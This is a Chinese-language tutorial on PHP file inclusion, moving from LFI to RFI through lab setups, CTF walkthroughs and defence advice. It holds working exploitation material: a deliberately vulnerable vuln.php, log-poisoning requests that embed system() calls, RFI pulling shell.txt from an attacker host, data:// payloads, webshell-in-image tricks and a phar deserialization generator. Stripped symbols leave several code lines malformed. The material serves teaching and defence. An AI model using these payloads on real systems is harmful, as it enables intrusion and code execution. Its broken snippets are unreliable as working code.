PHP文件包含漏洞深度解析:从LFI到RFI的攻防实战与防御策略
1. 项目概述为什么文件包含漏洞是Web安全的“经典必修课”在Web安全领域PHP文件包含漏洞绝对算得上是一块“活化石”。从我十多年前刚接触安全测试到现在它从未真正离开过我们的视线。无论是企业渗透测试、CTF竞赛还是日常的代码审计这个漏洞都像一位“老朋友”一样频繁出现。项目标题“从LFI到RFI的攻防演练”精准地概括了它的核心演变路径本地文件包含Local File Inclusion是起点远程文件包含Remote File Inclusion则是其更具破坏力的进阶形态。很多新手会觉得这不过是一个读取文件的漏洞能有多大危害但实际上一个看似简单的LFI往往能成为打开服务器大门的钥匙配合其他漏洞实现从信息泄露到远程代码执行的完整攻击链。这篇文章我将从一个实战派的角度带你彻底拆解PHP文件包含漏洞。我不会只给你一堆枯燥的函数列表和漏洞定义而是结合我无数次在真实环境和CTF比赛中“踩坑”和“挖洞”的经验把攻击者的思路、防御者的策略以及那些在标准文档里找不到的细节技巧掰开揉碎了讲清楚。我们会从最基础的漏洞原理讲起一步步搭建靶场手工复现LFI和RFI并深入解析几个经典的CTF案例让你不仅明白漏洞怎么利用更理解漏洞为什么会产生以及如何从根本上避免。无论你是刚入门安全的新手还是想深化理解的开发者相信这篇长文都能给你带来实实在在的收获。2. 漏洞原理深度剖析include/require到底做了什么要理解文件包含漏洞首先必须抛开“文件包含就是读文件”的浅层认知。我们需要深入到PHP解释器的层面去看看include、require、include_once、require_once这几个函数在执行时究竟经历了什么。2.1 核心函数的行为差异与风险根源这四个函数的核心功能都是将指定文件的内容引入当前脚本并执行。但细微的差别决定了它们在不同场景下的风险表现。includevsrequire错误处理的陷阱include在包含失败时只会产生一个警告E_WARNING脚本会继续执行。而require在失败时会产生一个致命错误E_COMPILE_ERROR脚本会停止。在攻击中这个特性常被用于“盲注”探测。例如攻击者尝试包含一个不存在的/etc/passwd文件如果使用include页面可能只报个警告但其他内容正常显示如果使用require页面直接白屏。有经验的攻击者可以通过页面反应的差异来判断目标使用的是哪个函数甚至推断文件是否存在。_once后缀的意义与绕过思路include_once和require_once会检查目标文件是否已经被包含过如果是则不会再次包含。这原本是为了避免函数重定义、变量重复赋值等问题。但在某些特制的攻击场景下攻击者可能会利用这个机制。比如如果攻击者能控制包含的路径并且服务器端使用了include_once那么攻击者首次包含一个恶意文件后即使后续修复了漏洞点由于_once机制恶意文件可能已经被载入内存并执行过了其留下的后门或内存中的恶意代码可能依然持续生效。这不是主要的攻击向量但是一个值得注意的角落案例。风险的根本来源动态包含漏洞产生的根本原因几乎无一例外都是因为开发者使用了动态变量作为包含文件的路径。看看这段典型的漏洞代码$page $_GET[page]; include($page . .php);开发者的本意可能是好的通过URL参数动态加载不同的页面模块比如?pagehome会包含home.php。问题在于他们对用户输入$_GET[page]没有任何过滤和限制。攻击者完全可以传入../../../etc/passwd这样的路径。虽然代码拼接了.php后缀但通过空字节截断PHP5.3.4或利用PHP的封装协议攻击者依然可以绕过后缀限制。2.2 PHP封装协议将文件包含的威力放大十倍如果说动态包含是打开了第一道门那么PHP丰富的封装协议Wrapper就是门后那个装满武器的仓库。这是LFI漏洞危害升级的关键也是很多CTF题目的核心考点。file://协议这是默认协议。include(file:///etc/passwd)和include(/etc/passwd)在大多数情况下效果一样。但在某些配置了open_basedir限制的场景下显式使用file://协议可能会与过滤逻辑产生奇妙的化学反应有时能绕过一些简单的字符串过滤。php://filter协议信息泄露的利器这是最常用、最强大的协议之一。它允许你对数据流进行过滤处理。在攻击中我们主要利用它的read和convert功能来读取源代码而不是执行它。读取源码php://filter/readconvert.base64-encode/resourceindex.php这行代码会让PHP以Base64编码的形式读取index.php的源代码。为什么这么做因为如果直接包含index.php它会被当作PHP代码执行我们在浏览器里看不到源码只能看到执行结果。通过base64-encode过滤器我们得到的是编码后的文本解码后就能获得完整的源代码这对于代码审计、寻找其他漏洞至关重要。链式过滤器你还可以组合多个过滤器例如convert.base64-encode|convert.iconv.UTF8.UTF7/resourceindex.php这在一些需要绕过特殊字符过滤的CTF题目中可能会用到。zip://与phar://协议反序列化的跳板这两个协议常常与文件上传漏洞结合构成“组合拳”。zip://协议可以访问ZIP压缩包中的文件。假设你上传了一个包含shell.php的ZIP包test.zip服务器将其保存为/tmp/test.zip。那么通过包含zip:///tmp/test.zip%23shell.php注意#需要URL编码为%23就可以直接执行ZIP包里的shell.php。phar://协议更加强大它不仅可以像zip://一样读取压缩包内文件其元数据metadata部分在反序列化时还会自动触发__wakeup()或__destruct()魔术方法。这意味着即使你无法直接包含一个.php文件但如果你能上传一个特制的PHAR文件扩展名可以是.jpg或.phar并通过phar://协议去包含它就有可能触发反序列化漏洞执行任意代码。这是近年来非常热门的攻击手法。data://协议直接执行代码的“魔法”data://协议允许在URL中直接嵌入数据。当allow_url_include配置为On时默认是Off这是RFI的前提include(data://text/plain,?php phpinfo();?);将会直接执行phpinfo()函数。这相当于把任意代码直接通过参数传递并执行危害性极大。它也是实现RFI的一种重要方式。注意封装协议的使用受allow_url_fopen和allow_url_include两个PHP配置项严格控制。allow_url_fopen允许使用HTTP、FTP等URL作为文件路径allow_url_include则特指允许include/require等函数使用这些远程URL或data://等协议。生产环境中必须将allow_url_include设置为Off。2.3 服务器配置与漏洞环境的关系漏洞能否利用成功严重依赖服务器的配置。理解这些配置能帮你更准确地判断漏洞存在的可能性。open_basedir将PHP可操作的文件限制在指定的目录树中。这是一个重要的安全防线。但历史上存在一些绕过方法比如利用glob://协议配合目录遍历或者通过chdir()等函数进行跳转。不过在现代PHP版本中open_basedir的防护已经比较牢固。disable_functions禁用了危险函数如system,exec,passthru等会影响包含漏洞利用后的命令执行效果。但攻击者仍可能通过编写纯PHP代码的Webshell来读写文件、连接数据库或者寻找未禁用的替代函数如shell_exec、反引号操作符。文件权限即使包含到了系统文件如/etc/passwd也需要PHP进程通常是www-data用户有读取权限。这是操作系统层面的最后一道屏障。3. 从LFI到RFI漏洞利用的完整路径演练理论讲得再多不如亲手试一遍。下面我们搭建一个简单的靶场来完整演练LFI到RFI的利用过程。我建议你在自己的虚拟机或Docker环境里跟着操作感受会更深刻。3.1 靶场环境搭建与基础LFI利用首先我们创建一个最基础的漏洞文件vuln.php?php // vuln.php - 一个存在文件包含漏洞的脚本 $file $_GET[file]; if(isset($file)) { include($file); } else { echo Please provide a file parameter.; } ?把它放在你的Web服务器根目录比如/var/www/html/。确保你的PHP配置暂时是“宽松”的以便演示所有攻击手法演示完毕后请务必修改。你可以快速修改php.ini中的以下项allow_url_fopen On allow_url_include On警告此配置仅用于本地测试环境生产环境绝不允许开启基础目录遍历访问http://your-ip/vuln.php?file../../../../etc/passwd如果成功你会看到系统的用户列表。这说明基础的目录遍历漏洞存在。利用PHP Filter读取源码访问http://your-ip/vuln.php?filephp://filter/readconvert.base64-encode/resourcevuln.php页面会显示一串Base64编码。将其解码你就能看到vuln.php的源代码。这是审计代码、寻找其他漏洞入口的关键一步。空字节截断CVE-2006-7243与后缀绕过如果漏洞代码是这样的include($file . .php);开发者以为拼接.php就安全了。但在PHP 5.3.4之前的版本攻击者可以使用空字节%00来截断后面的字符串。http://your-ip/vuln.php?file../../../../etc/passwd%00传入的$file是../../../../etc/passwd%00拼接后成为../../../../etc/passwd%00.php。在旧版本PHP中%00会被解释为字符串结束符因此实际包含的文件就是/etc/passwd.php被成功绕过。注意这个漏洞在PHP 5.3.4及以后版本已被修复但在一些老旧系统或CTF复古题中仍可能遇到。在现代PHP中更常见的后缀绕过方法是利用?或#。例如filephp://input?.php。因为?在URL中表示查询字符串的开始对于文件系统来说php://input?.php会被当作一个完整的奇怪文件名而PHP的include在处理php://协议时会忽略?之后的部分。或者使用#file../../etc/passwd%23#需要编码为%23因为#在文件路径中通常被忽略。3.2 利用日志文件实现代码执行这是LFI漏洞升级为代码执行RCE最经典、最实用的方法之一。思路是将PHP代码注入到服务器某个可被包含的文件中然后去包含这个文件。为什么选择日志文件因为Web服务器如Apache、Nginx的访问日志access.log或错误日志error.log默认对所有用户可读并且会原样记录HTTP请求中的很多信息包括User-Agent、Referer等头部字段。如果我们能在这些字段中插入PHP代码再通过LFI漏洞去包含这个日志文件代码就会被执行。实操步骤找到日志路径。默认路径可能是/var/log/apache2/access.log或/var/log/nginx/access.log。你可以通过LFI读取/proc/self/fd/下的文件描述符如果允许或包含/etc/apache2/envvars等配置文件来猜测路径或者直接用常见的路径字典爆破。向日志注入代码。使用Burp Suite或curl发送一个请求在User-Agent中携带PHP代码。curl -H User-Agent: ?php system(id); ? http://your-ip/包含日志文件。访问你的漏洞页面包含这个日志文件。http://your-ip/vuln.php?file/var/log/apache2/access.log如果一切顺利你应该会在页面上看到id命令的执行结果当前进程的用户信息。实操心得日志文件通常很大包含时可能会超时或导致内存不足。一个技巧是在注入代码后立即发送大量正常请求“冲刷”日志让你的恶意请求位于日志文件的末尾这样包含时加载速度会快一些。另外确保你包含的是最新的日志文件有时服务器会按日期分割日志如access.log.20231015。3.3 利用/proc文件系统实现RCELinux的/proc是一个虚拟文件系统提供了访问内核内部数据结构的接口。其中有一些文件非常适合用于LFI攻击。/proc/self/environ这个文件包含了当前进程即处理你请求的PHP进程的环境变量。其中有一个叫HTTP_USER_AGENT的环境变量直接对应HTTP请求中的User-Agent头部。因此攻击手法和日志注入类似发送一个User-Agent为PHP代码的请求。包含/proc/self/environ文件。代码被执行。/proc/self/fd/目录这个目录下是当前进程打开的文件描述符File Descriptor的符号链接。通常文件描述符0、1、2分别对应标准输入、输出、错误。而Web服务器访问日志的文件描述符也可能在这里面比如/proc/self/fd/10可能链接着/var/log/nginx/access.log。有时候直接包含日志文件路径会被过滤但包含/proc/self/fd/10可能就能绕过。你可以尝试遍历/proc/self/fd/目录下的文件。/proc/self/cmdline这个文件包含了启动当前进程的完整命令。对于PHP-FPM进程可能会显示出php-fpm: pool www之类的信息。虽然不能直接用于执行代码但可以用于信息收集了解服务器运行环境。3.4 远程文件包含RFI实战当allow_url_include On时LFI就进化成了RFI。攻击者可以包含一个远程服务器上的恶意文件让其在自己的目标服务器上执行。搭建恶意服务器在攻击者控制的服务器IP: 192.168.1.100上创建一个名为shell.txt的文件注意扩展名不重要内容为?php phpinfo(); ?。在该目录下启动一个简单的HTTP服务。用Python可以快速实现python3 -m http.server 8000。实施RFI攻击访问目标漏洞页面http://target-ip/vuln.php?filehttp://192.168.1.100:8000/shell.txt如果配置允许目标服务器会去请求http://192.168.1.100:8000/shell.txt获取到其中的PHP代码并在自己的上下文中执行从而显示出phpinfo()页面。利用data://协议实现无外部服务器的RFI即使没有外部服务器只要allow_url_include开启也可以利用data://协议。http://target-ip/vuln.php?filedata://text/plain,?php phpinfo();?或者使用Base64编码避免特殊字符问题http://target-ip/vuln.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg重要注意事项RFI的成功率在现代网络环境中已经大大降低。主要原因有三点第一allow_url_include默认是Off且安全规范强烈要求关闭第二外部URL可能会被防火墙或安全策略拦截第三包含远程文件会在目标服务器的Web日志中留下非常明显的外部IP记录极易被察觉。因此在实战中LFI及其各种“曲线救国”的利用方式日志、/proc更为常见。4. CTF案例解析在实战中深化理解CTF题目是漏洞原理的绝佳练兵场。下面我们分析两个典型案例看看出题人如何“包装”文件包含漏洞以及我们该如何“拆解”。4.1 案例一基础LFI与日志注入题目特征题目给出一个简单的页面只有一个文件包含点尝试包含/etc/passwd成功。但尝试包含/flag或flag.php时发现没有权限或文件不存在。页面本身没有上传点也没有其他明显功能。解题思路确认漏洞?file../../../../etc/passwd成功证明LFI存在。尝试读取源码?filephp://filter/readconvert.base64-encode/resourceindex.php获取网站源码进行审计。审计源码在解码后的源码中发现关键信息网站使用了Apache服务器并且错误日志路径是/var/log/apache2/error.log。或者通过包含/proc/self/environ发现环境变量中有SERVER_SOFTWAREApache。日志注入向网站任意页面比如首页发送一个请求在User-Agent或Referer中插入PHP代码?php system(cat /flag); ?。包含日志访问?file/var/log/apache2/error.log或access.log需根据情况尝试。如果代码被成功写入日志且被包含就会执行cat /flag命令在页面上输出Flag。可能的变种与绕过日志路径未知需要暴力猜解常见路径或利用/proc/self/fd/目录。日志过大可以尝试在注入代码后快速发起大量请求让自己的请求位于日志文件末尾附近然后使用tail命令的变体但通过LFI实现比较困难。有时可以尝试包含/proc/self/fd/X其中X是日志的文件描述符可能能避免加载整个大文件。特殊字符过滤如果题目对、、?、php等关键字进行了过滤需要尝试编码绕过。例如使用?短标签代替?php或者将代码用Base64编码后配合data://协议执行前提是allow_url_include开启。4.2 案例二结合文件上传与zip/phar协议题目特征题目提供一个文件上传功能但上传后会对文件内容或后缀进行严格检查例如只允许上传图片并且会用getimagesize()函数验证。同时网站某处存在一个LFI漏洞点。解题思路分析上传限制通常这类题目允许上传.jpg、.png等但会检查文件头如GIF89a或进行图片重渲染。我们的目标是将一个PHP Webshell嵌入到一个“合法”的图片中。制作恶意图片最简单的方法是使用copy命令Windows或cat命令Linux将Webshell追加到一张真实图片的后面。cat shell.php normal.jpg这样生成的normal.jpg既能通过图片验证因为文件头是合法的图片格式又包含了PHP代码。上传这个文件。找到文件存储路径上传成功后页面通常会回显文件的访问路径如/uploads/abc123.jpg。如果没有可能需要结合目录遍历或源码审计来猜测上传目录。尝试直接包含直接LFI包含上传的文件路径?file./uploads/abc123.jpg。如果服务器配置为“只要文件内容包含?php ... ?就尝试解析”那么可能会成功。但很多服务器只根据.php后缀来解析PHP。利用zip协议绕过如果直接包含不成功我们可以利用zip://协议。将我们的Webshellshell.php压缩成shell.zip。将shell.zip重命名为shell.jpg或其他允许的后缀并上传。通过LFI包含?filezip://./uploads/shell.jpg%23shell.php。这里%23是#的URL编码用于指定压缩包内的文件。利用phar协议与反序列化这是更高级的利用方式。如果题目环境还涉及PHP对象序列化我们可以创建一个恶意的PHAR文件。// 创建一个生成PHAR的脚本 create_phar.php class EvilObject { public $cmd system(cat /flag);; public function __destruct() { eval($this-cmd); } } $phar new Phar(evil.phar); $phar-startBuffering(); $phar-addFromString(test.txt, test); // 添加一个文件以符合PHAR格式 $obj new EvilObject(); $phar-setMetadata($obj); // 将恶意对象存入metadata $phar-setStub(?php __HALT_COMPILER(); ?); $phar-stopBuffering();执行这个脚本生成evil.phar将其重命名为evil.jpg后上传。 然后通过LFI包含?filephar://./uploads/evil.jpg。当PHP解析这个phar文件时会自动反序列化metadata中的EvilObject对象触发其__destruct()方法从而执行命令。这类题目综合考察了文件上传绕过、LFI漏洞利用以及PHP高级特性封装协议、反序列化的理解是CTF中的高频题型。5. 防御策略从开发到部署的全链路防护理解了攻击才能更好地防御。防御文件包含漏洞需要开发、运维和安全团队共同努力在软件生命周期的各个阶段布防。5.1 开发阶段编写安全的代码这是最根本、最有效的防御手段。1. 避免动态包含或使用白名单机制最佳实践完全避免使用用户输入直接作为包含文件的路径。如果业务必须动态加载请使用白名单。$allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(404.php); }路径固定如果需要包含尽量使用固定的相对路径或绝对路径将用户输入作为参数传递而不是路径的一部分。// 安全示例用户输入作为参数 include(./templates/header.php); $content_id (int)$_GET[id]; // 强制转换为整数 // 然后根据$content_id从数据库加载内容而不是包含文件2. 严格过滤和验证输入类型强制转换如果期望是数字就用(int)或intval()。路径净化使用basename()函数获取路径中的文件名部分它会自动剥离目录遍历字符../。$file basename($_GET[file]); // 如果输入是../../../etc/passwd$file会变成passwd include(./pages/ . $file . .php);但注意basename()在处理非ASCII字符时可能有问题且它不能防止包含非预期目录下的文件如果./pages/目录下存在一个你不想被包含的文件。正则表达式检查使用严格的正则表达式匹配允许的文件名模式如只允许字母、数字、下划线和短横线。if (preg_match(/^[a-zA-Z0-9_-]$/, $file)) { include($file . .php); }3. 使用安全的文件操作函数考虑使用realpath()函数来解析路径它会返回规范化的绝对路径并解析所有的符号链接和../。然后你可以检查这个绝对路径是否在以你的Web根目录为前缀的合法路径下。$base_dir /var/www/html/includes/; $user_path $_GET[file]; $real_path realpath($base_dir . $user_path); // 检查realpath是否成功并且路径是否以$base_dir开头 if ($real_path ! false strpos($real_path, $base_dir) 0) { include($real_path); } else { die(Invalid file path.); }注意realpath()在文件不存在时会返回false这本身也可能被攻击者用于探测文件是否存在盲注因此错误信息要统一处理。5.2 服务器配置收紧安全边界代码层面的防御需要配置层面的支持。1. PHP配置php.iniallow_url_include Off必须关闭。这是阻止RFI的最关键配置。allow_url_fopen Off如果业务不需要从远程URL打开文件建议关闭。这能增加攻击成本。open_basedir设置为Web应用的根目录及其必要子目录如临时目录、上传目录。用冒号分隔多个路径。例如open_basedir /var/www/html/:/tmp/。这能将PHP的文件操作限制在指定范围内。disable_functions禁用不必要的危险函数如system,exec,passthru,shell_exec,proc_open,popen等。即使攻击者通过包含漏洞写入了Webshell也无法执行系统命令大大降低了危害。display_errors Off/log_errors On生产环境关闭错误显示防止路径等敏感信息泄露开启错误日志便于排查问题。2. Web服务器配置以最小权限运行PHP-FPM进程或Apache的PHP模块应以独立的、低权限用户如www-data、nginx运行并确保其无法访问Web根目录之外的敏感文件。日志文件权限确保Web服务器日志文件access.log,error.log的权限尽可能严格例如设置为640所有者可读写所属组可读其他用户无权限并且所有者是root进程用户属于日志文件所属组。这样即使存在LFIPHP进程也可能无法读取日志内容。目录权限上传目录应设置为不可执行。可以通过在Nginx配置中为上传目录添加location ~* ^/uploads/.*\.(php|php5)$ { deny all; }或在Apache的.htaccess中添加RemoveHandler .php .php5 .phtml等指令防止上传的恶意脚本被直接执行。5.3 运维与安全监控1. 定期更新与漏洞扫描保持PHP、Web服务器及所有依赖库的最新版本及时修复已知漏洞。使用静态代码分析工具如SonarQube, PHPStan或专门的漏洞扫描工具在开发流程中自动检测潜在的包含漏洞。2. Web应用防火墙WAF规则配置WAF规则拦截包含../、..\、php://、zip://、phar://、data://等危险字符串的请求。注意攻击者可能会对Payload进行多次编码如URL编码、Unicode编码以绕过简单的字符串匹配因此WAF规则需要能进行规范化解码和深度检测。3. 监控与告警监控服务器日志特别是错误日志寻找包含异常路径如/etc/passwd、/proc/self/environ的请求记录。监控文件系统关注Web目录下是否出现异常的可执行文件。对包含include/require且使用了$_GET、$_POST、$_COOKIE等变量的代码进行重点人工审计。6. 常见问题与排查技巧实录在实际渗透测试和CTF比赛中我遇到过各种各样关于文件包含的“坑”。这里分享一些典型的排查思路和技巧。问题1包含路径被拼接了后缀如何绕过场景代码是include($_GET[file] . .php);。排查与绕过空字节截断首先尝试%00?file../../../etc/passwd%00。仅对PHP旧版本有效。利用?或#尝试?filephp://input?.php或?filedata://text/plain,?php...?.php。?后的内容在文件包含时可能被忽略。利用路径长度截断在极旧版本的系统中超长路径可能会被截断。现在基本无效。利用协议php://filter协议本身不关心后缀?filephp://filter/readconvert.base64-encode/resourceindex.php后面的.php会被当作协议参数的一部分可能不影响协议本身的解析。利用目录遍历已存在文件如果目标目录下存在一个你已知的.php文件你可以用../跳出限制后再跳回来包含它。例如假设你知道存在/var/www/html/config.php可以尝试?file../../../var/www/html/config。但这需要精确的信息。问题2包含日志文件没反应怎么回事可能原因日志路径不对Apache和Nginx的默认日志路径不同且可能被自定义。使用/proc/self/environ读取环境变量或尝试包含/etc/apache2/apache2.conf、/etc/nginx/nginx.conf等配置文件来寻找线索。日志权限不足PHP进程用户可能没有读取日志文件的权限。尝试包含/proc/self/fd/下的链接有时会有不同的权限上下文。代码未成功注入某些WAF或自定义代码可能会过滤或转义请求头中的特殊字符。尝试使用不同的注入位置User-Agent, Referer, X-Forwarded-For等和不同的编码方式。日志文件过大包含一个几百MB的日志文件可能导致脚本超时或内存耗尽。尝试在注入后立即进行包含或者利用tail命令的思路但通过LFI实现较难。有时可以关注error.log它通常比access.log小。问题3明明allow_url_include是OnRFI却不成功排查步骤确认配置使用phpinfo()页面确认allow_url_include和allow_url_fopen确实为On。检查网络连通性确保目标服务器能访问你的恶意服务器。防火墙、安全组、出站规则都可能拦截请求。检查协议和端口目标服务器可能只允许访问特定端口如80、443。确保你的恶意HTTP服务运行在常用端口。检查文件扩展名有些PHP配置如security.limit_extensions或Web服务器配置可能会根据URL的后缀来决定是否交给PHP解析。确保你的远程文件有一个能被解析的后缀或者使用data://协议。查看错误日志目标服务器的错误日志可能会记录包含失败的原因如“URL file-access is disabled”或“failed to open stream”。问题4在CTF中包含点似乎被过滤得很死怎么办思路扩展二次编码尝试对Payload进行双重URL编码。例如../编码一次是%2e%2e%2f再编码一次是%252e%252e%252f。过滤函数可能只解码一次。非常规路径分隔符在Windows环境下可以尝试..\或....//、....\/等变体。在PHP中include函数在Windows下也能接受/作为分隔符但可以尝试混合使用。利用PHP特性PHP的include在包含不存在的文件时如果路径是一个目录可能会包含该目录下的index.php或default.php取决于配置。这有时能用于模糊测试。关注非标准输入点$_GET是最常见的但也要检查$_POST、$_COOKIE、$_SERVER中的某些变量如$_SERVER[HTTP_X_FORWARDED_FOR]有时漏洞点隐藏得很深。结合其他漏洞文件包含很少孤立存在。看看有没有文件上传、SSRF服务器端请求伪造、甚至SQL注入通过load_file()函数读取文件可以与之结合形成攻击链。文件包含漏洞的魅力在于它的“基础”和“灵活”。它不像一些复杂的逻辑漏洞那样难以发现但其利用方式却可以千变万化与服务器配置、其他漏洞点紧密耦合。真正掌握它需要你对PHP运行机制、服务器配置、操作系统都有一定的了解。希望这篇超过五千字的深度解析能帮你建立起关于这个“经典漏洞”的立体认知。在安全的世界里知其然更要知其所以然这才是抵御风险最坚固的盾牌。